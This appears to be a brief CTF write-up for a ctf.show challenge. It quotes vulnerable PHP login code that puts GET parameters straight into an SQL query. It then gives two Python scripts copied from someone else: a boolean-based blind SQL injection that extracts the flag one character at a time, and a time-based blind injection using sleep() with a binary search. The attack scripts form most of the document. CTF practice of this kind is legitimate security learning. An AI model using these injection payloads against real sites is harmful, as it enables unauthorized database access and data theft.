if($action=='check'){ $username=$_GET['username']; $password=$_GET['password']; $sql = "select id from user where username = md5('$username') and password=md5('$password') order by id limit 1"; $user=db::select_one($sql); if($user){ templateUtil::render('index',array('username'=-->
这个没看懂,直接copy别人的python注入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
import requests import string url="http://b77de2aa-7d2e-4c6e-9b5f-4772a706992a.challenge.ctf.show/index.PHP?action=check&username=admin1&password=1') or " s=string.digits+string.ascii_lowercase+"{-}" flag='' for i inrange(1,40): print(i) for j in s: #data="if((select substr(group_concat(table_name),{0},1) from information_schema.tables where table_schema=database())='{1}',1,0)%23".format(i,j) #data="if((select substr(group_concat(column_name),{0},1) from information_schema.columns where table_name='flag')='{1}',1,0)%23".format(i,j) data="if((select substr(flag,{0},1) from flag )='{1}',1,0)%23".format(i,j) u=url+data #print(u) r=requests.get(u) if"admin"in r.text: flag+=j print(flag) break
url = "http://b77de2aa-7d2e-4c6e-9b5f-4772a706992a.challenge.ctf.show/index.php?action=check&username=yn8rt&password=1') or "
result = '' i = 0
whileTrue: i = i + 1 head = 32 tail = 126
while head < tail: mid = (head + tail) >> 1 payload = f"if(ascii(substr((select flag from flag),{i},1))>{mid},sleep(2),0)+--+" try: r = requests.get(url + payload, timeout=0.5) tail = mid except Exception as e: head = mid + 1 if head != 32: result += chr(head) else: break print(result)